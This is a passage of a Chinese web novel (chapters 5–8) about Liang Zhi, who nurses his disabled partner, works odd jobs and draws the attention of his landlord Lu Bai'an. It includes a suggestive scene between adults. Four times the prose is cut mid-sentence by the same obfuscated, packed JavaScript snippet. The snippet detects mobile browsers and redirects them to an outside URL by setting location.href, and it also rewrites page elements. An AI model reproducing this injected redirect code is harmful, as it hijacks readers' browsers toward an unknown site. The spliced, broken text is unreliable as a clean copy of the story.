刚放下手机,身后就传来陈信的声音:“知知。” 梁知回头看了他一眼,陈信坐在床沿,眼神小心翼翼:“知知,你在生我的气吗?” “我为什么要生气。” “大哥那事……”陈信的声音低了下去,语气懊恼,“是我不好,我太没用了。大哥对你动手动脚,我明明看在眼里,却什么都做不了……全是我的错。” “我没生气。” 他对这人从没抱过期待,自然谈不上失望,更不会生气。 陈信见他语气平淡,不像是刻意压着怒气的样子,浅浅松了口气,可很快又变得自怨自艾起来。 “这段时间真是辛苦你了,又是跑前跑后找房子,又要时时照顾我这个废人……知知,你再等等,等我病好了,我一定拼命赚钱努力养你,一定不再让你受委屈了。” 梁知只轻轻嗯了一声,像在回应,又像只是随口搭腔。 他拍完了视频,想要换回原来的衣服。指尖勾住腿袜边缘往下褪,黑色的布料卷过膝盖,露出一截白皙的腿根。 “知知。”陈信的声音又响起来。 梁知抬头,目光撞进陈信眼里。那人的眼里的小心翼翼褪去,转而烫得惊人,直勾勾地黏在他未完全褪下的腿袜上。 “知知。”陈信又低低唤了一声。 梁知没说话,抬起那只还套着半截腿袜的脚,缓缓伸过去,脚尖抵在了陈信的肩上。黑色的布料松垮垮地挂在脚踝,衬得露出的肌肤愈发冷白。 陈信被这一下抵得猛地向后仰了仰,呼吸瞬间变得粗重起来。鼻尖萦绕着梁知身上那股淡淡的栀子花香,让他整个人都晕乎乎的。脑子里乱成一团,只剩下一个念头在反复盘旋。 知知好香,知知好漂亮。 他费力地弯下头,颈椎发出沉闷的酸胀感,但嘴唇碰到那片细腻的皮肤后,这点不适很快就被抛到了九霄云外。 梁知垂着眼,看着陈信埋在自己膝头的发顶。腿上被对方舔过的地方黏糊糊的。 他神情没什么起伏,心思飘到了别处,脑子里正一笔笔算着账。 房租每月六百,水电费预估两百,陈信的药钱得留一千五,加上日常买菜做饭的开销……住在这里,每个月的支出像流水似的,一分一毫都得精打细算。 直到陈信突然咬住他大腿根的软肉,他才回过神,颤了颤身子,下意识地伸手扶住对方的肩膀,才勉强稳住身形。 手机突然在口袋里震动起来,梁知动作没变,另一只手摸出手机。 屏幕亮起,上面是一条来自陆柏安的微信消息。 「忘了说了,厨房的排水管之前堵过一次,你用的时候尽量不要往里面倒残渣。」 梁知在输入法里选了个OK的手势发过去,想了想又点开语音键。 陈信牙齿的力道忽然重了些,带着点刻意的磨蹭。 梁知喉咙里不受控地溢出一声闷哼,手指也跟着一松,一条还没组织好语言、尾音里裹着细碎嘤咛的语音,就这么猝不及防地发了出去。 “陆老板,明天可以见……啊……” 5. 5 乌黑的房间里,陆柏安躺在床上,盯着天花板,眼睛一眨也不眨。 现在已经是凌晨三点,他却没有丝毫睡意,甚至清醒得可怕。 他手机屏幕亮着,停留在微信聊天界面,指尖悬在屏幕上方顿了顿,最终还是对着某条语音条点了下去。 下一秒,一个男人的声音从听筒里涌了出来。 “陆老板,明天可以见……啊……”尾音颤得厉害,像被什么东西绊了一下,又软又黏。 陆柏安闭了闭眼,再睁开时,眼底一片烦躁。 “艹!”他忍不住低骂一句。 这人到底是什么意思? 大晚上的给他发这个语音,到底是想干什么? 他收到梁知这条语音时,正靠在阳台栏杆上抽烟,烟卷燃到一半,听到最后那两个发颤的音节时,手指一松,烟就那么直直掉下去,在拖鞋烫出个焦黑的印子。 过了足足几分钟,新的语音才传过来。 这次梁知的语气恢复了平常的语气,说的是:“陆老板,明天可以见一面吗?” 只是时间过去太久,上面那条语音已经撤不回了。 陆柏安没问梁知为什么要发那句让人浮想联翩的语音,甚至都没回复梁知的消息,因为他可耻地发现,自己起反应了。 他站在厕所里,用冷水试图让自己冷静下来时,心里特别特别不爽。 不就是喘了两声,他至于反应这么大吗? 叫得还不怎么好听。 可等他胡乱擦了把身体,坐到床上时,手指却像有自己的意识,又点开了那条语音。 一遍、两遍、三遍……三十七遍。 电流杂音里的喘息被反复放大。 陆柏安磨着后槽牙,脑子里冒出个越来越清晰的念头。 梁知那时候肯定在撸。 不然哪来那么黏糊糊的声音? 艹! 这人是有病?撸的时候发什么语音? 就因为这条破语音,搞得他现在都睡不着觉。 第二天早上,陆柏安顶着两个乌青的黑眼圈开了店门。 他这铺子向来随性,想开就开想关就关,今儿这么早来,全是为了花店老板娘那块还没修好的表。 卷帘门刚拉到一半,就见一个还算熟的街坊路过,见他这副模样,当即“哟”了一声。 “老陆你这是昨晚去挖煤了?眼圈黑得跟熊猫似的,纵欲过度也不是这么个玩法吧?” 陆柏安扯了扯嘴角没接话,进了铺子去翻工具箱。 对方又道:“有空了来我家喝酒啊。” 陆柏安头也没抬,冲着对方挥挥手。 他专注地修了会儿怀表,用细毛刷一点点清理着机芯里的积灰,直到齿轮能顺畅转动,才刚将表盖合上,就感觉面前落下来一片阴影。 他头也没抬:“修什么?” “陆老板。” 这声音…… 陆柏安的动作顿住。 他缓缓抬头,就见那个扰得他昨晚不得好眠的家伙正站在面前。 梁知穿着一件白色棉t,简简单单的看着很清爽,他全然没办法把这人和昨晚那个声音联系在一起。 “陆老板,这是我自己做的桂花糕,尝尝吧。”梁知把一个塑料袋放在面前,里面传来桂花糕的清香,甜而不腻的味道漫开来。 陆柏安盯着那袋桂花糕,脑子里转了转,才想起梁知昨天在语音问自己今天能不能见一面,只是当时他被那语音里的异样搅得心烦,压根没回复。 他抬眼看向梁知,眉梢微挑:“你怎么知道我店在这儿?” “我看到你的朋友圈里有发过店铺的门头照。” 陆柏安心里啧了一声,随口问道:“你找我干什么?” “是这样的,”梁知目光快速扫过四周,又落回他身上,“我想在这附近找一份工作,但在这边,我只认识你一个人。” “你想让我帮你找工作?”陆柏安靠在椅背上上,从烟盒里拿出支烟夹在手指间。 “是想请陆老板帮我留意一下,只要是正当营生,累点苦点都没关系。” 陆柏安把烟往耳朵上一夹,上下打量他几眼:“你以前是做什么的?” “以前在镇上的杂货铺帮工,进货、理货、看店都做过,偶尔也帮老板跑趟腿送送货。” 陆柏安估摸梁知的学历估计高不到哪儿去,不然也不会从前干杂货铺帮工的活儿,更不会在偌大的城里,只能找到自己头上。 他淡淡道:“行,我帮你留意留意。” 虽然有点懊恼昨天那回事,但以后都是街里街坊的,低头不见抬头见,帮对方留意留意也不是什么难事。 梁知微微欠身,语气真诚:“谢谢陆老板。” “行了,有消息我会告诉你的。”陆柏安摆摆手。 “那我就先走了,不打扰你修东西了。” 陆柏安没应声,看着梁知的身影转身走出铺子后,目光落在桌角那个还带着余温的塑料袋上,伸手拿了起来。 袋子里的桂花糕码得整整齐齐,透着淡淡的米香和桂花香。 陆柏安捏起一块,对着光看了看,嘴里“嘁”了一声,带着点不屑:“甜腻腻的,谁爱吃。” 话是这么说,他却没放下,反而咬了一小口。 软糯的糕体在舌尖化开,甜味不重,桂花的清香气很足,倒也不算难吃。 他又咬了一口,心里嘀咕:也就这样吧。 梁知好像说是他自己做的。估计是经常在家里给他女朋友做这些吧,不然手艺怎么练出来的? 感觉手里的桂花糕突然就没那么香甜了。 他三两口解决掉剩下的半块,刚咽下去,林小满拎着个油纸袋走进来,冲他扬了扬手里的东西。 “刚路过早餐摊,给你捎了两根油条,热乎的。” 话音刚落,他的目光就落在了塑料袋的桂花糕上,眼睛一瞪:“哎?你怎么在吃这个?你不是最不爱吃这些甜腻玩意儿吗?”说着就伸手要去拿,“给我尝尝,哪家的?” 陆柏安往他伸过来的爪子上一拍,“你吃什么吃,不是有油条吗?” “这么小气?是哪个小姑娘送的爱心早餐啊?”林小满说着趁陆柏安松手的空档,飞快伸手抓起一块桂花糕塞进嘴里,边嚼边点头,“嗯……还挺好吃的。” 陆柏安没好气地把袋子往自己这边挪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184913|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪,又瞪他一眼。 林小满被他瞪得摸了摸鼻子,撇撇嘴:“行行行,不吃了行了吧。”他往嘴里塞了半截油条,含混不清地转移话题,“哎我跟你说,刚才来的时候在街口碰到个男的,长得跟天仙似的!” 陆柏安没说话,心里却门儿清。 才碰到的,又是个男的,还天仙似的,不是梁知还能是谁?不过哪有这么形容男人的。 “以前怎么没见过这人啊,”林小满没注意到他的反应,嚼着油条一脸好奇,“是住在这附近的,还是单纯路过?瞧着不像咱们这边的人。” 陆柏安没接话,只道:“你帮我留意一下这附近哪有什么工作。” “你要找工作啊?” “我找什么工作,是帮别人找。” “谁啊?你这么好心?” “你话怎么这么多呢。” “行行行,不说就不说。”林小满识趣地退回去,忽然一拍大腿,“哎对了,我这里正好差人啊!” 陆柏安抬眼:“你?” “对啊!”林小满点头如捣蒜,“我那快餐店你知道的,现在就俩阿姨在忙活,高峰期根本忙不过来,刚好还差个服务员。那人多大了?看着是个干活利索的不?” 陆柏安没立刻答话,只拿出手机飞快敲了几行字。 没一会儿,一个清瘦的身影走了进来。 正是林小满刚才念叨的天仙似的男人。 对方目光平静地扫过店内两人,最后落在陆柏安身上,声音清冽:“陆老板。” 林小满嘴里的油条“啪嗒”掉在桌上,瞪着眼张了张嘴,半天没说出话来。 他看看门口的男人,又猛地转头看向陆柏安,压低声音:“不是,你认识他啊?” 陆柏安道:“我的新租客,梁知。” 梁知顺着他的话点点头。 林小满这才回过神,慌忙捡起桌上的油条扔进垃圾桶,笑了两声:“哦……新租客啊,幸会幸会!我是隔壁快餐店的老板林小满。” “林老板好。” “你好你好,就是你要找工作是吧?” “是的。” “那可太巧了!我那儿刚好缺人,早上忙不过来,主要就是收收桌子、端端盘子,活儿不重,工钱也实在。你要是不嫌弃,明天就能来试试?” “我先看看工作环境可以吗?” “当然可以,就在隔壁,两步路的事儿,我带你去瞧瞧。” 两人走了几步,发现陆柏安在身后跟着,林小满回头瞅他一眼:“你跟出来干什么?不修表了?” “你管我呢。”陆柏安声音生硬,脚步没停,依旧跟在后面。 林小满没辙,转过头拍了拍梁知的肩膀,压低声音:“小梁你别介意,老陆他就是这驴脾气,对谁都横,心里不坏。” 梁知没说话,只是点了点头。 陆柏安在后面听得真切,眉头紧皱。 什么叫就是这脾气?他什么时候对谁都横了? 还有,什么小梁?才刚见面就叫得这么亲切。 他眼神扫过林小满搭在梁知肩上的手,心里窜起一股烦躁。 怎么感觉林小满今天这么烦呢? 6. 6 林小满家的快餐店不大,也就容得下四五张桌子,但看着很干净,而且还包三顿饭。 梁知看着店里的环境,心里盘算了算,工资虽没达到预期,但他刚到这座城市,没熟人没门路,想短时间找到待遇更好的活计并不现实。没多犹豫,他当场就应下了,撸起袖子就开始上手。 另一边,陆柏安拿着修好的怀表往隔壁的花店走去。花店老板是个三十几岁的女人,大家都叫她梅姐。几年前她与丈夫离异,独自带着刚上幼儿园的儿子过日子。 将怀表递过去,梅姐接过一看,当即连连夸赞他手艺精湛,拉着他热络地闲聊了几句。原本陆柏安还盘算着送完怀表就回家里补个觉,下午再开门营业,可谁知从花店出来没走几步,他反倒又折身回了自己的铺子。 上午零星来了几位客人,他手脚麻利地处理着,时不时抬眼瞥下墙上的挂钟,时针刚指向十一点便起身锁了店门,脚步不自觉地往旁边的快餐店挪。 这会儿的快餐店正是烟火气最浓的时候,二十道荤素菜品已经悉数上齐,满满当当地码在靠墙的餐台上,冒着氤氲的热气。 林小满不在店里,梁知正在后厨帮忙。陆柏安站在门口,角度受限,看不清他的模样,只瞥见一双白皙修长的手,正利落地拆着一次性筷子的塑料捆带。 他无意识地在原地站了片刻,直到梁知拿着一摞筷子走出来。他这才看清梁知身上套着店里统一的蓝色棉布围裙,胸前印着“小满自助快餐”五个红色大字。这围裙陆柏安以前看着总觉得带着点土气,可穿在这人身上却并不难看。 梁知看见他,微微颔首:“陆老板,来吃饭?” 陆柏安“嗯”了一声,转身走向餐台拿起餐盘。扫过一排菜品,慢悠悠地挑选。 这边梁知正挨个给每张桌子的筷子筒添一次性筷子,弯腰、放筷、直身,一气呵成。 等陆柏安转身找座位时,他已经快分完,只剩最靠里的那张桌。陆柏安脚步一顿,正好走到那张桌旁坐下,梁知也恰巧端着最后一摞筷子走了过来。 梁知弯着腰将筷子放进桌角的竹筒,头顶的吊灯光线落在他发顶,映出一层淡淡的绒毛,脖颈随着弯腰的动作绷出流畅的线条。 陆柏安坐在对面,目光在他身上落下一秒,又飞快移开,夹了块青椒送进嘴里,慢慢咀嚼着,随口一问:“这儿干活感觉怎么样?” “挺好的。”梁知直起身,“多谢陆老板帮我找这份工作。” 陆柏安喉间滚出两个字,轻飘飘的:“不谢。” 话音刚落,进来两位穿着工装的年轻人,探头打量着菜品,开口问:“这菜怎么卖啊?” “十五一位,二十道菜随便吃,不够可以再添。”梁知走了过去,顺手递过两个餐盘。 陆柏安这顿饭吃得格外慢,一口菜嚼半天,近一个小时,直到店里的客人渐渐少了,这才放下筷子。 梁知一边收拾他的餐盘一边道:“陆老板慢走。” 陆柏安心里关于昨天那条没头没尾的语音想问的话在舌尖打了个转,又被他咽了回去。觉得不妥,太突兀,最终只淡淡应了一声,起身走了。 林小满的快餐店只做午市生意,每天早上六点半左右新鲜食材会由专人从菜市场准时送达,店里的员工们便开始投入备菜与烹饪工作。等到下午两点左右客流减少,完成餐盘清洗、店内清洁等收尾工作后即可下班。 梁知下班的时候看了眼时间,还早得很。他拿出手机划开微信,点开昨晚临时加入的澜溪县兼职互助群。 AAA建材批发王勇:「大地河农贸市场急招兼职发单员、推销卡专员,下午四点到晚上七点,15/h,有人吗?」 梁知点开手机地图,输入地址看了眼距离,随后切回微信,在输入框扣了个1。 等他攥着几十块工钱,拖着略有些酸胀的腿回到租房时,指针已经指向八点二十分。 “回来了?”餐桌旁的李月娥手里捏着半只没织完的鞋垫,立刻转身就要去厨房,“我去给你热饭。” 饭菜是简单的青椒肉丝和一碗白米饭,梁知坐在餐桌旁吃时,李月娥就坐在他对面,手里重新拿起针线,银针在靛蓝色的布料上穿梭的声响伴随着两人的的交谈声,从家里目前的开支,到梁知今天找的工作。 片刻后,梁知咽下嘴里的饭,视线在屋里转了一圈,轻声问:“爸呢?” “他啊,昨天打听到城南有个木工厂招人,今天一早就过去了,说是去看看有没有适合他的活计。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184914|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李月娥手巧,会做些手工活,以前在老家,靠着这些小物件赚点家用。而陈福安,是十里八乡有名的木匠,只是如今到了城里,这身手艺不知道还能不能用得上。 “知知,”李月娥忽然停下手里的活,声音低了下去,“妈对不住你,你年纪轻轻的,本该出去闯闯,却要带着我们老的老、小的小……是我们一家拖累你了。” 梁知抿着唇摇头:“当初要不是你和爸,我早就死了。” 这话一出口,李月娥眼眶瞬间一热,她抬手抹了把脸,抚上梁知的头顶:“还记得第一次见你,才这么点儿,现在都长这么高了。” 她的手掌带着常年做手工的薄茧,落在发顶温温的。 里间那扇紧闭的门后突然传来一道含糊的声音:“知知……” 两人同时转头望去。李月娥轻轻叹了口气:“知知,你也知道,阿信这孩子认死理,除了你,谁给他按摩都闹,只有你在,他才肯乖乖听话。” 忙了一天,回来还要伺候人。但梁知终究还是没说一个不,他转身走向那扇门,推开门时,陈信正孤零零地坐在床沿上。 他走过去在床边坐下,指尖搭上陈信僵硬的胳膊力道均匀地揉捏起来。陈信问他找到工作了吗,他说找到了,陈信问他怎么样,他说挺好的。 按摩结束,陈信说要上厕所。梁知弯腰,从床底下拉出个半旧的夜壶搁在床边,接着扶陈信下床。 陈信的肌肉已经萎缩大半,可终究是成年男人的骨架,沉甸甸的重量压在臂弯里并不轻松。但次数多了,梁知早已摸透了巧劲,一手揽着陈信的腰,一手扶着他的胳膊,半扶半托地将人挪到夜壶旁坐下。 人坐下了,他却不能走。陈信坐不稳,稍不留意就会摔。梁知只能用自己的大腿抵住陈信的后背,撑住那片摇摇欲坠的重量。 下方传来淅淅沥沥的声响,他偏过头,目光落在白色的墙皮上,脸上没什么表情。 等陈信解决完,他又转身去厕所冲了个澡,今天不想拍视频,他倒头就躺在床的外侧,和陈信之间隔着一臂的距离。 黑暗中,陈信轻轻叫了一声知知。 梁知闭上眼,长长的睫毛在眼睑下投出一小片阴影,没应声。满屋的寂静,压得有些让人喘不过气。 7. 7 林小满明显感觉出陆柏安这几天往快餐店跑的次数增多了。 以往他来店里吃饭向来随性,林小满从不让他掏钱,他也乐得自在,只是作息颠三倒四,经常忙起来忘了吃饭,以前能两三天来一次蹭个饭都算给足了面子。可现在不一样了,每天中午这人来得比闹钟还准时。 林小满疑惑:“你这是太阳打西边出来了?以前喊你吃饭比登天还难,我家突然变好吃了?” 陆柏安嚼着条茄子,面无表情地扯了扯嘴角:“我这不是怕你店里太冷清,特意过来给你捧捧场。” “那我真是谢谢你啊,陆大老板。” 话音刚落,后厨的布帘被掀开,梁知走了出来,身上依旧穿着那条蓝色围裙。 他对着坐在桌前的两人点了头,径直走向靠门的空桌,弯腰收拾起上一桌客人留下的狼藉,动作干净利落。 “哎,你别说。”林小满用胳膊肘碰了碰陆柏安,“当时我还怕小梁干不好呢,你看他斯斯文文的,看着也不像干过粗活的,没想到人家不仅没喊累,干活也都仔细得很,比我雇过的好几个老员工都靠谱。” 陆柏安扒拉着碗里的饭,头也没抬,只淡淡应了声“哦”。 “不过就算他开始干活笨手笨脚,我也不介意,就他那张脸,往柜台后一站,不用做啥,当个吉祥物都能让路过的人多进店里瞅两眼。” 陆柏安扒完最后一口饭,筷子往碗上一放,目光顺着林小满的话往梁知那边飘。 梁知的围裙带子在身后打了个简单的结,松松垮垮垂着,随着他弯腰的动作,隐约能看见腰线绷出的浅弧。 “而且啊,他长成这样居然还没女朋友,你说稀奇不稀奇?” 陆柏安闻言,原本散漫的目光微微一顿:“没女朋友?” “对啊,我昨天随口问的。”林小满咂咂嘴,“真不应该啊。” 单身? 陆柏安无意识摩挲了一下手指,那上次在他身上看到的牙印是哪来的?总不能是自己咬的。 还是说……就是这两天刚分的手? 视线再次落回到不远处的梁知身上。许是刚才的动作扯松了带子,他正在低头重新系,指尖捏着那两根浅蓝色带子,在身后缓缓绕了两圈,与腰身紧紧贴合。 “而且他说他马上快二十八了,看着也不像,昨天还有顾客特意问我他是不是高中生来兼职呢,还夸他长得好看。” 陆柏安的目光还钉在那两只手和带子上,听着林小满的话,下意识回复:“好看能当饭吃吗?” “你这话说的,好看当然能当饭吃了,你不知道现在多少明星就是靠脸吃饭的啊。” 被两人议论着的梁知已经收拾好那张桌子,突然朝着他们这边看过来,见陆柏安放下了筷子,便走过来收他的餐盘。 “小梁,”林小满出声,“把餐盘送进厨房后就过来帮我拍视频吧。” 梁知应了声好。 他刚走,陆柏安就问林小满:“拍什么视频?” “昨天跟小梁说好的,”林小满捏着手机来回晃了晃,“让他帮我拍个团购宣传视频。本来想让他帮忙出镜的,你想啊,他这模样往镜头前一站,可比我这张脸吸睛多了,流量肯定哗哗涨!可惜了,他不愿意露脸。” 没等陆柏安接话,梁知已经从后厨走了出来。 林小满一边带着他往店门口走,一边叮嘱:“记得把我拍得精神点,镜头稍微放低点儿,显高!” 陆柏安默不作声地跟着出去,站在离两人不远的地方。 梁知接过林小满的手机,在屏幕上快速轻点,调整焦距和角度,将林小满框进镜头中央。 梁知今天穿的是两人第一次见面时那件白T,金灿灿的阳光漫过他的发顶,把乌黑的发丝染出一层细碎的金芒。他微微低着头,专注地看着屏幕,下颌线在阳光下勾勒出清晰的弧度。 “3、2、1,开始了。”梁知说着,指尖按在拍摄键上。 林小满清了清嗓子,立刻切换状态,对着镜头摆手:“家人们,在澜溪县还不知道午饭吃什么?来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184915|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小满自助快餐准没错……” 一阵带着燥热的微风飘来,梁知头顶正中间的位置突然翘起来一小撮头发,随着风轻轻一摇一晃。 视频没拍多久就结束了。梁知把手机递还给林小满时,抬手随意地摸了下头发,那撮小绒毛瞬间就被压了下去。 陆柏安抿了抿唇,若无其事地移开目光。 林小满捧着手机滑动屏幕反复回看,嘴角越扬越高,转头对着两人咂嘴:“小梁,你这拍摄技术可以啊。角度找得准,光线也拍得好,比老陆上次给我拍的强多了,他上次把我拍成一米四!” 陆柏安慢悠悠抬眼:“自己长得矮,还好意思怪别人?” “不是你什么……” 林小满话还没说完,马路上突然飘来一阵熟悉的音乐声。陆柏安眼尖,余光瞬间瞥见一辆绿色的洒水车正慢悠悠驶过,高压水柱带着弧线朝他们的方向喷来。 他几乎是下意识伸出手臂,扣住站在外侧的梁知,稍一用力,就把人往自己身后一推。 水花带着凉意擦着两人的衣角飞快扫过,堪堪避开了要害。可站在最边上的林小满没来得及反应,半边胳膊结结实实被溅了个透。 他一边抬手胡乱拍着一边骂:“陆柏安你这小子,眼里就没我是吧?” 陆柏安没工夫理会林小满的抱怨,注意力全落在自己的手上。 刚才推人的时候没顾上多想,此刻掌心正按在梁知的后腰上,那两根围裙带子恰好裹住他的指腹。 他脑子里突然冒出来个荒唐的念头,只要手指轻轻一勾,那刚被梁知亲手系上的结,就能被他轻易解开,然后…… 手掌突然一空,梁知已经退开半步,转头对林小满说:“林老板,我先去忙了。” 林小满擦着胳膊头也不抬:“去吧去吧。” 梁知转身离开前,目光轻轻扫过站在原地的陆柏安,随即微微点头。 陆柏安站在原地,半晌才低下头,盯着自己空荡荡的掌心,指腹似乎还残留着围裙布料的柔软触感。 8. 8 周六的早晨气温还不算太高,梁知前一天跟林小满提了今天休假,今早早早就推着陈信出了门。 在新医院复查要重做之前的各项检查,抽血、拍片、做肌电图,一套流程走下来,耗了整整一上午。 等终于坐到医生办公室,梁知将新旧两本病历递过去,医生推了推鼻梁上的眼镜,目光在两份病历间来回扫过,又抬眼打量了陈信片刻:“这个病能坚持十年,还有好转的迹象,真是少见。” 去年是陈信病症最严重的时候,那时他完全无法进食,也发不出半点声音,只剩微弱的呼吸证明生命尚存,连当时的主治医生都默认了最坏的结局。 谁也没想到,绝境里竟透出了生机。不知道是药物起了效,还是冥冥中自有天意,他竟然莫名慢慢缓了过来,如今虽然依旧受病痛桎梏,却已经能咀嚼软烂的食物,头部能轻轻转动,手指也能做些细微的动作。 “后续继续遵医嘱用药,保持现在的护理节奏。一个月后再来复诊,到时候做个肌电图复查。” 送完陈信回家后梁知没歇着,帮起李月娥的忙来,打小他就跟着她学做了些手工,穿针引线的活儿对他来说不算难事。 李月娥这些天断断续续做了不少花色各异的鞋垫,今早还特意在菜市场外支了块粗布摆摊,没想到销路竟不错。陈福安也在城南木工厂找了份活,专做他拿手的榫卯小物件,虽累些,但能靠老手艺挣钱。 看起来,似乎一切都很好。 时间到了下午快三点时,梁知出了门。大地河农贸市场离百乐街不算近,他在公交站等了两分钟,一辆老旧的公交车便慢悠悠驶来。 刷卡上车,找了个靠窗的空位坐下,他靠在椅背上,闭了闭眼,脑子里不自觉盘算着中午离开医院时医生说的话。医生说,如果陈信能一直保持这个状态,不说能恢复如初,但情况肯定能恢复得比现在更好。 更好是多好?要等多久?一年?两年?十年?还是更久?医生没给任何保证,梁知只觉得是天方夜谭。 一路晃悠悠耗了整整一个小时,公交车才抵达终点站。 他下车时刚好离四点的兼职开工时间还差十分钟,大地河农贸市场里人声鼎沸,吆喝声、讨价还价声此起彼伏。 他熟门熟路地找到市场西门的临时咨询点,一张折叠桌旁,穿红色马甲的中年男人正坐那儿玩手机。 “来了?”对方递过一套小熊玩偶服,“今天是鲜丰果蔬新店开业,传单都在这儿,还是老规矩,四点到七点,别偷懒。” 梁知接过玩偶服套上,拉链一拉,闷热感瞬间裹住全身,视线只剩面罩上两个窄小的透气孔。 他深吸口气,挤进街道熙攘的人群。 这已不是第一次穿玩偶服,他的动作已经算得上熟稔,套着厚厚的绒毛套子逢人就微微躬身递传单。 闷热顺着衣领往里钻,三个小时下来玩偶服里的衣服早已湿透贴在身上。 工作结束,他领着四十五块现金和鲜丰果蔬店赠送的一小袋橘子循着来时的路往公交站走,傍晚的风吹在汗湿的后背总算驱散了几分黏腻。 坐上车,他找了个靠窗的空位坐下,脑袋一歪就靠在玻璃上,竟不知不觉浅浅睡了过去。再次睁眼时公交车已经停在百乐街站,窗外的天色正慢慢暗下来,街灯次第亮起。 下车后他先拐进街角的红叶超市买了一包卷筒卫生纸,刚走出超市大门,就听见一旁的垃圾桶前传来一阵急促尖锐的狗吠声。 他下意识瞥了一眼,只见两只土狗正扭打在一起,大的那只身形壮实,前爪死死按住小狗的脖颈,嘴里还叼着半个干硬的馒头,显然是在抢食。小狗呜呜直叫,四肢胡乱蹬着,却怎么也挣不脱。 那是梁知的必经之路,见状脚步顿了顿,站在原地等了一会儿。可两只狗打得难分难解,大狗丝毫没有停手的意思。 他不再犹豫,走了过去。 那大狗倒是个典型的欺软怕硬,眼角余光瞥见有人类靠近,立刻松了口,叼着那半个馒头夹着尾巴一溜烟,转眼就没了踪影。只留下小狗趴在原地小声哀嚎,一边舔舐皮毛,一边委屈哼唧。 梁知走到小狗身边时,它猛地抬起头,一双湿漉漉的黑眼睛直勾勾望着他,身子下意识往后缩了缩,像是怕再被欺负。 梁知沉默地看着它,在塑料袋里摸索了一下,掏出一个橘子,剥了皮轻轻扔到小狗面前的地上。 小狗先是警惕地闻了闻,确认没有危险后,立刻扑上前狼吞虎咽起来。 梁知转身走,没走几步,就察觉到身后有细碎的脚步声跟着。他回头一看,那小狗竟不远不近地跟在他身后。 他停下脚步,小狗也立刻站定。他迈开步子,小狗又悄悄跟上。 如此往复了三四次,梁知又摸出个橘子扔过去,看着小狗叼起后又要再跟上来,他才出声:“不要跟着我。” 不知是不是真的听懂了他的话,小狗站在原地犹豫了几秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184916|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终究没再往前迈一步。 梁知没再回头,径直往前走。 路过租房必须经过便民修表铺,刚走近,就看见一个身影从铺子里出来。 陆柏安耳朵上别着根没点燃的香烟,一手正往下扯着卷帘门,而另一只胳膊竟像上班族夹公文包似的,稳稳夹着个四五岁的小男孩。 小男孩穿着件奥特曼T恤,两条短短的小腿还在半空晃悠,显然觉得这姿势新奇又好玩,正兴奋地扭动着身子,小手还想去抓陆柏安的胳膊。 “再乱扑腾,就把你扔下去。”陆柏安不咸不淡道。 小男孩立刻乖乖收了动作,小嘴撅了撅,却不敢再乱动,只是转动着小脑袋,目光刚好落在路过的梁知身上,好奇地盯着他看。 陆柏安刚拧上铺子的挂锁,转身就看见了熟悉的人,顿了一下。 今天午饭时没在林小满的快餐店里见到梁知,林小满说他休假了,没想到会在这儿遇上。 梁知先朝他点了下头:“陆老板。” “嗯。”陆柏安应了声,目光扫过他手里的东西,随口问了句,“买东西?” 梁知没多解释,只应了一声,视线落在他胳肢窝里夹着的小男孩身上。 陆柏安:“梅姐的儿子,她下午有事,让我帮忙照看会儿。” 话音刚落,就见梅姐远远地小跑过来,脸上带着歉意:“哎哟小陆,真是麻烦你了,耽误你了!” “没事。”陆柏安把小男孩递过去。 梅姐一把抱住儿子,转头才瞧见旁边的梁知,笑着打招呼:“小梁也在啊。” “梅姐。”梁知微微颔首。在这儿住了小段时间,虽不算熟络,但平日里和街坊邻里也打过几次照面,不算陌生。 梅姐抱着儿子跟两人道别,小男孩被妈妈搂着,小脑袋还扭着,依旧直直地望着梁知,眼睛亮闪闪的。 等梅姐走远,梁知才开口问:“陆老板要回家?” “嗯。” 两人顺路,自然一道走了,只是一路都没说话。直到走到熟悉的单元楼楼下,梁知停下脚步,将手伸进塑料袋,拿出两个橘子递给身旁的人:“陆老板,吃橘子。” 道了别后,他一步步走进单元楼。 